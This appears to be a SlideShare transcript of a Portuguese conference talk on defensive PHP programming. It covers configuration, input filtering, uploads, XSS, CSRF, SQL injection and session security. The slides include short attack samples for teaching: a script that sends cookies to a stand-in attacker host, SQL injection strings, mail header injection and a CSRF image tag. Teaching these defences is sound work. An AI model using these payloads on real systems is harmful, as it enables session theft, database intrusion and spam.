PHP no Campo
de Batalha
Segurança Avançada
e Programação
Defensiva
Rafael Jaques
@rafajaques
“Porque Deus amou o mundo de tal maneira que deu o seu
Filho Unigênito, para que todo aquele que nele crê não pereça,
mas ...
Rafael Jaques
Professor do Instituto Federal de
Educação, Ciência e Tecnologia do
Rio Grande do Sul.
Graduado em Análise e...
www.php-rs.org
Slides da Palestra
1
Segurança da
informação
Pontos-chave da SI
Integridade
Confidencialidade
Disponibilidade
COMO VOU DESENVOLVER
UMA APLICAÇÃO COM
TUDO ISSO?!?!?!?!?!?!
Vamos por partes!
Tudo começa com
planejamento!
2
Planejamento
Planejamento
Projete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
Planejamento
Projete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
Conheça o seu ambiente
php.ini
Conheça o seu ambiente
phpinfo()
php.net/manual/ini.php
Conheça o seu ambiente
Altere as configurações
do php.ini
ini_set() httpd.conf
.htaccess php.ini
Conheça o seu ambiente
Gerenciamento de
erros do PHP
display_errors
log_errors error_log
Conheça o seu ambiente
Conhecer o sistema
inclui saber os
problemas do servidor!
Problemas no servidor
Defesa em
profundidade
Problemas no servidor
Lei do menor
privilégio
3
Melhorando o código
desenvolvido
Como desenvolver um
bom código?
Tudo começa com
BOAS PRÁTICAS
Warning: Cannot modify header information -
headers already sent by (output started at /
path/to/script.php:1) in script.p...
Utilize extensões
consistentes
Boas práticas
.php
.inc.php
.inc
.php~
.bak
httpd.conf
AddType application/x-httpd-php .php...
DRY
Don’t repeat yourself
Boas práticas
== != ===
Cuidado ao efetuar comparações
Boas práticas
“1” == 1
“1” === 1
true == 1
True
False
true === 1
NULL == false
NU...
Nunca edite arquivos
em produção
Boas práticas
Funções perigosas
exec( )Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
escapeshellcmd()...
eval( )Não execute bobagem no seu código
Funções perigosas
Seu ambiente
também precisa
de cuidado e
atenção
Configuração do ambiente
HeadersPodem denunciar o seu servidor
expose_php php.ini
Apache
ServerTokens
Prod Major Minor Min Os Full
Configuração do ambiente
Gerenciar os
erros pode
salvar seu dia!
Gerenciamento de erros
display_errors
error_reporting
log_errors
error_log
Mostrar erros na tela
Nível de erro mostrado
Lo...
set_error_handler( )
error_log( )
Indica uma função para manipular erros
Loga um erro personalizado
Gerenciamento de erros
4
Filtragem de
dados
Filtragem de dados
Bypass
Mistake Origin
isset( )
is_array( )
is_bool( )
is_float( )
is_int( )
is_null( )
is_numeric( )
is_object( )
is_string( )
Filtragem de dados
Type Casting
Assegure-se dos tipos de dados
$numero = (int) $variavel;
$numero = (float) $variavel;
Filtragem de dados
Type Casting
Assegure-se dos tipos de dados
$numero = settype($variavel, ‘integer’);
$bool = settype($variavel, ‘boolean’)...
Type Casting
Assegure-se dos tipos de dados
$numero = intval($variavel);
$numero = floatval($variavel);
$texto = strval($v...
ValidateSanitizefilter_var( )
Validating && SanitizingBloqueie valores indesejados
Filtragem de dados
filter_var()
php.net/filter.filters
FILTER_VALIDATE_* FILTER_SANITIZE_*
Validação de dados

Verifica se

determinado valor
...
Validação
filter_var( , )$valor CONSTANTE_FILTRO
Valor filtrado
bool(false)
Validação
FILTER_VALIDATE_INT
“7”
7
0
true
false
int(7)
int(7)
int(0)
int(1)
bool(false)
“10 teste”
“palavra”
-5
3.1
bool(...
Validação
FILTER_VALIDATE_EMAIL
“rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false)
5 bool(false) “1@2” bool(fals...
Validação
FILTER_VALIDATE_FLOAT
php.net/filter.filters.validate
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_IP
FILTER_VALIDATE...
Limpeza
FILTER_SANITIZE_URL
http://phpit.com.br
http://phpit.com.br£
phpitº.com.br
br¶
§
string(19) "http://phpit.com.br"
...
FILTER_SANITIZE_STRING
uma string string(10) "uma string"
string(12) "uma string *"
string(21) "uma string<tag>"
Lim...
Limpeza
FILTER_SANITIZE_EMAIL
php.net/filter.filters.validate
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_ENCODED
FILTER...
Cuidados com
Formulários
Spoofed Form Submissions
Cuidados com formulários
Spoofed HTTP Requests
Cuidados com formulários
Abuso de form mail
Cuidados com formulários
Abusodeformmail
<?php
$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";
$para = "email@seguro.com";
$assunto = "...
Abusodeformmail
From: Fulaninho <meu@email.com>
To: email@seguro.com
Subject: Contato via site
Esta é a mensagem do e-mail...
Abusodeformmail
From: Fulaninho
Bcc: um@email.com, spam@enviar.com, <meu@email.com>
To: email@seguro.com
Subject: Contato ...
5
Upload de
arquivos
MIME Type do $_FILES
Upload de arquivos
Algoritmo de
Análise de Conteúdo
Verificar o tipo da imagem
exif_imagetype( )
Upload de arquivos
php.net/function.exif-imagetype
Upload de arquivos
Ressalvar imagens
Upload de arquivos
Diretivas de upload
upload_max_filesize
post_max_size
Upload de arquivos
rafajaques	
  
Palestra	
  de	
  PHP
exemplo.txt
Upload de arquivos
Array	
  
(	
  
	
  	
  	
  [arquivo]	
  =>	
  Array	
  
	
  	
  	
  	
  	
  	
  (	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
 ...
POST	
  /upload.php	
  HTTP/1.1	
  
Host:	
  localhost	
  
Content-­‐Type:	
  multipart/form-­‐data;	
  boundary=-­‐-­‐-­‐...
Movendo arquivos enviados
is_uploaded_file( )
move_uploaded_file( )
Upload de arquivos
6
Injeção
de código
XSSCross-SiteScripting
XSS
Cross-SiteScripting
<script>
document.location = "http://sitedomal.com?c=" + document.cookie
</script>
XSS
Cross-SiteScripting
Filtrar dados externos
Utilize as funções de filtro
Utilize uma white-list
htmlentities( ) strip_tags( )
XSS
Cross-SiteScripting
Utilize as funções de filtro
utf8_decode( ) filter_var( )
XSS
Cross-SiteScripting
Cuidado com injeção de CSS
expression( ) url( )
Métodos

específicos moz-
binding
CSRFCross-SiteRequestForgery
CSRF
Cross-SiteRequestForgery
http://meusite.com/voto.php?id=1
<img src="http://meusite.com/voto.php?id=1" />
CSRF
Cross-SiteRequestForgery
Exigir um token
Solicitar reautenticação
Prefira POST em vez de GET
Limite o tempo de sessão...
Outros tipos de injeção
XPath LDAP
Bibliotecas de terceiros
Upload de arquivos
Indo além da
Validação de dados
Além da validação
Regras de negócio
Filtrou a entrada? Filtre a saída!
Não confie nos cookies!
7
Segurança em
bancos de dados
SGBDs suportados pelo PHP
php.net/refs.database
dBaseDB++CUBRID
FrontBaseFireBird/InterbasefilePro
IngresInformixIBM DB2
m...
Conceitos básicos de
segurança em
Bancos de Dados
Lei do
Menor Privilégio
Não permita
Acesso Remoto
Prefira utilizar
UTF-8
Escapar caracteres
não é seguro
mysql_real_escape_string( )
addslashes( )
SQL e Blind SQL
Injection
SQLInjection
SQLInjection
Injeção de código SQL arbitrário dentro
de uma consulta legítima.
SQLInjection
SQLInjection
1' OR 1='1
SQLInjection
fulano'# ou fulano' --
SQLInjection
Blind
Injeção de código arbitrário sem
visualização da saída do banco.
BlindSQLInjection
sqlmap
Prepared Statements
e ORMs
Prepared Statements
Declarações preparadas
Compila as consultas SQL
Utiliza placeholders
Declarações preparadas
INSERT INTO produtos (nome, preco) VALUES (?, ?)
Prepared Statements
ORM
Object-relational mapping
Reduz a escrita de SQL
Acesso ao banco através de classes
ORMs
Exposição de
credenciais
O que acontece
se alguém tiver
acesso aos
seus arquivos?
E se o PHP
parar de
funcionar?
E se houver um
include mal
programado?
8
Cookies e
sessions
Cookies são client-side
Sessions são server-side
Cookies e Sessions
Cliente Servidor
Requisição HTTP
Resposta HTTP + Set Cookie
Requisição HTTP
Resposta HTTP
Cookies e Sessions
Servidor
session_start()
Verifica se a sessão
existe
Procura pelo SESSID
em um cookie
Procura pelo SESSID
numa querystring
...
Roubo de Cookie
(Cookie Theft)
Não costumam existir
vulnerabilidades de
navegador para roubo
de cookies
Tome cuidado com
XSS
Cookies também
podem ser roubados
com sniffers
Proteja utilizando HTTPS
Vulnerabilidades
de Sessão
Exposição de Sessão
Dados de sessão podem ser
visualizados via sniff quando
não criptografado com HTTPS
Hospedagens compartilhadas podem
vazar dados dentro dos diretórios com
permissões de leitura a todos
Utilize session_set_s...
Não é o roubo de um
ID de sessão.
É a imposição de um!
Fixação de Sessão
Não permita que sejam utilizados
SID não gerados pela aplicação
Fixação de Sessão
Gere um novo SID em
cada requisição
Utilize session_regenerate_id()
Páginas com muito tráfego acabam gerando SID inválidos...
Roubo de Sessão
(Session Hijacking)
Roubo de Sessão
É possível fixar um SID,
forjar ou até mesmo
capturar um cookie!
Algumas sugestões para evitar roubo de sessão (tente
equilibrar usabilidade e segurança):
Gerar tokens únicos por usuário
...
Não sacrifique a
usabilidade do projeto!
não
Boas
práticas
Nunca utilize
cookies
para autenticação
Prefira cookies para informações não-vitais
Utilize sessões sempre em
conjunto com cookies
Ajuda a prevenir o roubo de sessão
pagina.php?PHPSESSID=1234
php.ini
session.use_cookies
session.use_only_cookies
GET / HTTP/1.1
Host: algumsite.com
User-Agent: Mozilla/5.0
Accept: im...
Cuidado com hospedagem
compartilhada ou dois sites
no mesmo servidor
Pode ocorrer choque de sessão
Utilize session_destroy() e
não apenas remova o
cookie
Um cookie roubado pode reinicializar uma sessão
Destrua a sessão antes de
alterar o nível de
permissão de usuário
autenticado
Impede que uma sessão de guest seja utilizad...
9
Tráfego na
web
Fluxo do tráfego
Cliente Servidor
Requisição HTTP
Resposta HTTP
Requisição HTTP
Resposta HTTP
Sniffers em
redes abertas
Wireshark
Configurando um
certificado SSL
http://www.phpit.com.br/artigos/configurando-ssl-
servidor-de-desenvolvimento-apache.phpit
Gerando um
certificado
para testes
Alternando entre
HTTP e HTTPS
Leves diferenças na
$_SERVER sob HTTPS
$_SERVER
[HTTP_HOST] => localhost
[SERVER_SOFTWARE] => Apache/2.2.22
[SERVER_NAME] => localhost
[SERVER_ADDR] => 127.0.0.1...
Force a utilização do
protocolo HTTPS
Via aplicação ou via apache
Monitorar logs
Manter PHP atualizado
Frameworks
Segurança física
Últimas dicas
Sempre que possível, utilize
código refatorado
Exposição phpinfo()
Cuidados ao enviar e-mails
Segurança no sistema de arqu...
Obrigado!
Rafael Jaques
rafa@php.net
phpit.com.br
@rafajaques
slideshare.net/rafajaques
youtube.com/realphpit
w
@
Imagens utilizadas
• https://flic.kr/p/5Ndwd8
• https://flic.kr/p/i3NEP6
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques
Próximos SlideShares
Carregando em…5
×

[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

7.573 visualizações

Publicada em

Todos os dias, diversas de pessoas ao redor do mundo começam a programar em PHP. É uma linguagem fácil de ser aprendida e, por isso, pode fazer com que desenvolvedores despreparados criem sistemas vulneráveis. O objetivo dessa palestra é apresentar as principais vulnerabilidades de aplicações PHP e a maneira de contorná-las. Serão mostradas também técnicas de programação defensiva, resposta a incidentes, prevenção de perdas e outros tópicos relevantes à segurança da informação. Princípios de segurança, técnicas de invasão e defesa, identificação e prevenção de ataques, boas práticas e proteção do usuário fazem parte dos assuntos abordados nessa palestra.

Publicada em: Tecnologia
0 comentários
18 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
7.573
No SlideShare
0
A partir de incorporações
0
Número de incorporações
3.980
Ações
Compartilhamentos
0
Downloads
93
Comentários
0
Gostaram
18
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

  1. 1. PHP no Campo de Batalha Segurança Avançada e Programação Defensiva Rafael Jaques @rafajaques
  2. 2. “Porque Deus amou o mundo de tal maneira que deu o seu Filho Unigênito, para que todo aquele que nele crê não pereça, mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao mundo não para condenar o mundo, mas para que o mundo fosse salvo por meio dele.” (João 3.16-17)
  3. 3. Rafael Jaques Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul. Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior. Desenvolvedor web e viciado em segurança.
  4. 4. www.php-rs.org
  5. 5. Slides da Palestra
  6. 6. 1 Segurança da informação
  7. 7. Pontos-chave da SI Integridade Confidencialidade Disponibilidade
  8. 8. COMO VOU DESENVOLVER UMA APLICAÇÃO COM TUDO ISSO?!?!?!?!?!?!
  9. 9. Vamos por partes!
  10. 10. Tudo começa com planejamento!
  11. 11. 2 Planejamento
  12. 12. Planejamento Projete o seu sistema Estude antes de implementar Revise o que foi feito Conheça o seu ambiente
  13. 13. Planejamento Projete o seu sistema Estude antes de implementar Revise o que foi feito Conheça o seu ambiente
  14. 14. Conheça o seu ambiente
  15. 15. php.ini Conheça o seu ambiente phpinfo() php.net/manual/ini.php
  16. 16. Conheça o seu ambiente
  17. 17. Altere as configurações do php.ini ini_set() httpd.conf .htaccess php.ini Conheça o seu ambiente
  18. 18. Gerenciamento de erros do PHP display_errors log_errors error_log Conheça o seu ambiente
  19. 19. Conhecer o sistema inclui saber os problemas do servidor!
  20. 20. Problemas no servidor Defesa em profundidade
  21. 21. Problemas no servidor Lei do menor privilégio
  22. 22. 3 Melhorando o código desenvolvido
  23. 23. Como desenvolver um bom código?
  24. 24. Tudo começa com BOAS PRÁTICAS
  25. 25. Warning: Cannot modify header information - headers already sent by (output started at / path/to/script.php:1) in script.php on line 55 Omita as tags de fechamento Boas práticas
  26. 26. Utilize extensões consistentes Boas práticas .php .inc.php .inc .php~ .bak httpd.conf AddType application/x-httpd-php .php .phtml
  27. 27. DRY Don’t repeat yourself Boas práticas
  28. 28. == != === Cuidado ao efetuar comparações Boas práticas “1” == 1 “1” === 1 true == 1 True False true === 1 NULL == false NULL === falseTrue True False False
  29. 29. Nunca edite arquivos em produção Boas práticas
  30. 30. Funções perigosas exec( )Não execute bobagem no seu sistema shell_exec( ) system( ) passthru( ) proc_*( ) escapeshellcmd() escapeshellarg()
  31. 31. eval( )Não execute bobagem no seu código Funções perigosas
  32. 32. Seu ambiente também precisa de cuidado e atenção
  33. 33. Configuração do ambiente HeadersPodem denunciar o seu servidor expose_php php.ini
  34. 34. Apache ServerTokens Prod Major Minor Min Os Full Configuração do ambiente
  35. 35. Gerenciar os erros pode salvar seu dia!
  36. 36. Gerenciamento de erros display_errors error_reporting log_errors error_log Mostrar erros na tela Nível de erro mostrado Logar erros Arquivo de log
  37. 37. set_error_handler( ) error_log( ) Indica uma função para manipular erros Loga um erro personalizado Gerenciamento de erros
  38. 38. 4 Filtragem de dados
  39. 39. Filtragem de dados Bypass Mistake Origin
  40. 40. isset( ) is_array( ) is_bool( ) is_float( ) is_int( ) is_null( ) is_numeric( ) is_object( ) is_string( ) Filtragem de dados
  41. 41. Type Casting Assegure-se dos tipos de dados $numero = (int) $variavel; $numero = (float) $variavel; Filtragem de dados
  42. 42. Type Casting Assegure-se dos tipos de dados $numero = settype($variavel, ‘integer’); $bool = settype($variavel, ‘boolean’); $texto = settype($variavel, ‘string’); Filtragem de dados
  43. 43. Type Casting Assegure-se dos tipos de dados $numero = intval($variavel); $numero = floatval($variavel); $texto = strval($variavel); Filtragem de dados
  44. 44. ValidateSanitizefilter_var( ) Validating && SanitizingBloqueie valores indesejados Filtragem de dados
  45. 45. filter_var() php.net/filter.filters FILTER_VALIDATE_* FILTER_SANITIZE_* Validação de dados
 Verifica se
 determinado valor encontra-se dentro dos parâmetros esperados. Limpeza de dados Retira de um determinado valor todos os caracteres que
 não são permitidos.
  46. 46. Validação filter_var( , )$valor CONSTANTE_FILTRO Valor filtrado bool(false)
  47. 47. Validação FILTER_VALIDATE_INT “7” 7 0 true false int(7) int(7) int(0) int(1) bool(false) “10 teste” “palavra” -5 3.1 bool(false) bool(false) int(-5) bool(false) bool(false)+0 || -0
  48. 48. Validação FILTER_VALIDATE_EMAIL “rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false) 5 bool(false) “1@2” bool(false) “phpit.com.br” bool(false) “joao quem”@site.com bool(false)
  49. 49. Validação FILTER_VALIDATE_FLOAT php.net/filter.filters.validate FILTER_VALIDATE_BOOLEAN FILTER_VALIDATE_IP FILTER_VALIDATE_URL
  50. 50. Limpeza FILTER_SANITIZE_URL http://phpit.com.br http://phpit.com.br£ phpitº.com.br br¶ § string(19) "http://phpit.com.br" string(19) "http://phpit.com.br" string(12) "phpit.com.br" string(2) "br" string(0) ""
  51. 51. FILTER_SANITIZE_STRING uma string string(10) "uma string" string(12) "uma string *" string(21) "uma string&lt;tag&gt;" Limpeza <tag>uma string * <tag>uma string&lt;tag&gt;
  52. 52. Limpeza FILTER_SANITIZE_EMAIL php.net/filter.filters.validate FILTER_SANITIZE_SPECIAL_CHARS FILTER_SANITIZE_ENCODED FILTER_SANITIZE_NUMBER_INT
  53. 53. Cuidados com Formulários
  54. 54. Spoofed Form Submissions Cuidados com formulários
  55. 55. Spoofed HTTP Requests Cuidados com formulários
  56. 56. Abuso de form mail Cuidados com formulários
  57. 57. Abusodeformmail <?php $cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>"; $para = "email@seguro.com"; $assunto = "Contato via site"; $corpo = $_POST['mensagem']; mail($para, $assunto, $corpo, $cabecalhos);
  58. 58. Abusodeformmail From: Fulaninho <meu@email.com> To: email@seguro.com Subject: Contato via site Esta é a mensagem do e-mail Esperado FulaninhonBcc:um@email.com,spam@enviar.com,
  59. 59. Abusodeformmail From: Fulaninho Bcc: um@email.com, spam@enviar.com, <meu@email.com> To: email@seguro.com Subject: Contato via site Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim! Possível
  60. 60. 5 Upload de arquivos
  61. 61. MIME Type do $_FILES Upload de arquivos
  62. 62. Algoritmo de Análise de Conteúdo
  63. 63. Verificar o tipo da imagem exif_imagetype( ) Upload de arquivos
  64. 64. php.net/function.exif-imagetype Upload de arquivos
  65. 65. Ressalvar imagens Upload de arquivos
  66. 66. Diretivas de upload upload_max_filesize post_max_size Upload de arquivos
  67. 67. rafajaques   Palestra  de  PHP exemplo.txt Upload de arquivos
  68. 68. Array   (        [arquivo]  =>  Array              (                    [name]  =>  exemplo.txt                    [type]  =>  text/plain                    [tmp_name]  =>  /tmp/php3IdMTx                    [error]  =>  0                    [size]  =>  33              )   ) Upload de arquivos
  69. 69. POST  /upload.php  HTTP/1.1   Host:  localhost   Content-­‐Type:  multipart/form-­‐data;  boundary=-­‐-­‐-­‐-­‐12345   Content-­‐Length:  413   -­‐-­‐-­‐-­‐12345   Content-­‐Disposition:  form-­‐data;  name="arquivo";   filename="exemplo.txt"   Content-­‐Type:  text/plain   rafajaques   Palestra  de  PHP   -­‐-­‐-­‐-­‐12345-­‐-­‐ Upload de arquivos
  70. 70. Movendo arquivos enviados is_uploaded_file( ) move_uploaded_file( ) Upload de arquivos
  71. 71. 6 Injeção de código
  72. 72. XSSCross-SiteScripting
  73. 73. XSS Cross-SiteScripting <script> document.location = "http://sitedomal.com?c=" + document.cookie </script>
  74. 74. XSS Cross-SiteScripting Filtrar dados externos Utilize as funções de filtro Utilize uma white-list
  75. 75. htmlentities( ) strip_tags( ) XSS Cross-SiteScripting Utilize as funções de filtro utf8_decode( ) filter_var( )
  76. 76. XSS Cross-SiteScripting Cuidado com injeção de CSS expression( ) url( ) Métodos
 específicos moz- binding
  77. 77. CSRFCross-SiteRequestForgery
  78. 78. CSRF Cross-SiteRequestForgery http://meusite.com/voto.php?id=1 <img src="http://meusite.com/voto.php?id=1" />
  79. 79. CSRF Cross-SiteRequestForgery Exigir um token Solicitar reautenticação Prefira POST em vez de GET Limite o tempo de sessão Verificar Referer Force o uso de seus formulários uniqid( ) $_SERVER['HTTP_REFERER']
  80. 80. Outros tipos de injeção XPath LDAP Bibliotecas de terceiros Upload de arquivos
  81. 81. Indo além da Validação de dados
  82. 82. Além da validação Regras de negócio Filtrou a entrada? Filtre a saída! Não confie nos cookies!
  83. 83. 7 Segurança em bancos de dados
  84. 84. SGBDs suportados pelo PHP php.net/refs.database dBaseDB++CUBRID FrontBaseFireBird/InterbasefilePro IngresInformixIBM DB2 mSQLMongoMaxDB OracleMySQLM$ SQL PostgreSQLParadoxOvrimos SQL Tokyo TyrantSybaseSQLite
  85. 85. Conceitos básicos de segurança em Bancos de Dados
  86. 86. Lei do Menor Privilégio
  87. 87. Não permita Acesso Remoto
  88. 88. Prefira utilizar UTF-8
  89. 89. Escapar caracteres não é seguro mysql_real_escape_string( ) addslashes( )
  90. 90. SQL e Blind SQL Injection
  91. 91. SQLInjection
  92. 92. SQLInjection Injeção de código SQL arbitrário dentro de uma consulta legítima.
  93. 93. SQLInjection
  94. 94. SQLInjection 1' OR 1='1
  95. 95. SQLInjection fulano'# ou fulano' --
  96. 96. SQLInjection Blind
  97. 97. Injeção de código arbitrário sem visualização da saída do banco. BlindSQLInjection
  98. 98. sqlmap
  99. 99. Prepared Statements e ORMs
  100. 100. Prepared Statements Declarações preparadas Compila as consultas SQL Utiliza placeholders
  101. 101. Declarações preparadas INSERT INTO produtos (nome, preco) VALUES (?, ?) Prepared Statements
  102. 102. ORM Object-relational mapping Reduz a escrita de SQL Acesso ao banco através de classes
  103. 103. ORMs
  104. 104. Exposição de credenciais
  105. 105. O que acontece se alguém tiver acesso aos seus arquivos?
  106. 106. E se o PHP parar de funcionar?
  107. 107. E se houver um include mal programado?
  108. 108. 8 Cookies e sessions
  109. 109. Cookies são client-side Sessions são server-side Cookies e Sessions
  110. 110. Cliente Servidor Requisição HTTP Resposta HTTP + Set Cookie Requisição HTTP Resposta HTTP Cookies e Sessions
  111. 111. Servidor session_start() Verifica se a sessão existe Procura pelo SESSID em um cookie Procura pelo SESSID numa querystring Busca os dados e cria a $_SESSION Sim Sim Não Cria uma nova SESSID Não Cookies e Sessions
  112. 112. Roubo de Cookie (Cookie Theft)
  113. 113. Não costumam existir vulnerabilidades de navegador para roubo de cookies
  114. 114. Tome cuidado com XSS
  115. 115. Cookies também podem ser roubados com sniffers Proteja utilizando HTTPS
  116. 116. Vulnerabilidades de Sessão
  117. 117. Exposição de Sessão Dados de sessão podem ser visualizados via sniff quando não criptografado com HTTPS
  118. 118. Hospedagens compartilhadas podem vazar dados dentro dos diretórios com permissões de leitura a todos Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão Exposição de Sessão
  119. 119. Não é o roubo de um ID de sessão. É a imposição de um! Fixação de Sessão
  120. 120. Não permita que sejam utilizados SID não gerados pela aplicação Fixação de Sessão
  121. 121. Gere um novo SID em cada requisição Utilize session_regenerate_id() Páginas com muito tráfego acabam gerando SID inválidos Fixação de Sessão
  122. 122. Roubo de Sessão (Session Hijacking)
  123. 123. Roubo de Sessão É possível fixar um SID, forjar ou até mesmo capturar um cookie!
  124. 124. Algumas sugestões para evitar roubo de sessão (tente equilibrar usabilidade e segurança): Gerar tokens únicos por usuário Verificar User-Agent e IP Utilizar sessões apenas via cookies Roubo de Sessão
  125. 125. Não sacrifique a usabilidade do projeto!
  126. 126. não
  127. 127. Boas práticas
  128. 128. Nunca utilize cookies para autenticação Prefira cookies para informações não-vitais
  129. 129. Utilize sessões sempre em conjunto com cookies Ajuda a prevenir o roubo de sessão
  130. 130. pagina.php?PHPSESSID=1234
  131. 131. php.ini session.use_cookies session.use_only_cookies GET / HTTP/1.1 Host: algumsite.com User-Agent: Mozilla/5.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278d Cache-Control: max-age=0
  132. 132. Cuidado com hospedagem compartilhada ou dois sites no mesmo servidor Pode ocorrer choque de sessão
  133. 133. Utilize session_destroy() e não apenas remova o cookie Um cookie roubado pode reinicializar uma sessão
  134. 134. Destrua a sessão antes de alterar o nível de permissão de usuário autenticado Impede que uma sessão de guest seja utilizada para um usuário autenticado
  135. 135. 9 Tráfego na web
  136. 136. Fluxo do tráfego Cliente Servidor Requisição HTTP Resposta HTTP Requisição HTTP Resposta HTTP
  137. 137. Sniffers em redes abertas
  138. 138. Wireshark
  139. 139. Configurando um certificado SSL
  140. 140. http://www.phpit.com.br/artigos/configurando-ssl- servidor-de-desenvolvimento-apache.phpit Gerando um certificado para testes
  141. 141. Alternando entre HTTP e HTTPS
  142. 142. Leves diferenças na $_SERVER sob HTTPS
  143. 143. $_SERVER [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 80 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTP [HTTPS] => on [SSL_TLS_SNI] => localhost [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 443 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTPS
  144. 144. Force a utilização do protocolo HTTPS Via aplicação ou via apache
  145. 145. Monitorar logs Manter PHP atualizado Frameworks Segurança física Últimas dicas
  146. 146. Sempre que possível, utilize código refatorado Exposição phpinfo() Cuidados ao enviar e-mails Segurança no sistema de arquivos Últimas dicas
  147. 147. Obrigado! Rafael Jaques rafa@php.net phpit.com.br @rafajaques slideshare.net/rafajaques youtube.com/realphpit w @
  148. 148. Imagens utilizadas • https://flic.kr/p/5Ndwd8 • https://flic.kr/p/i3NEP6

×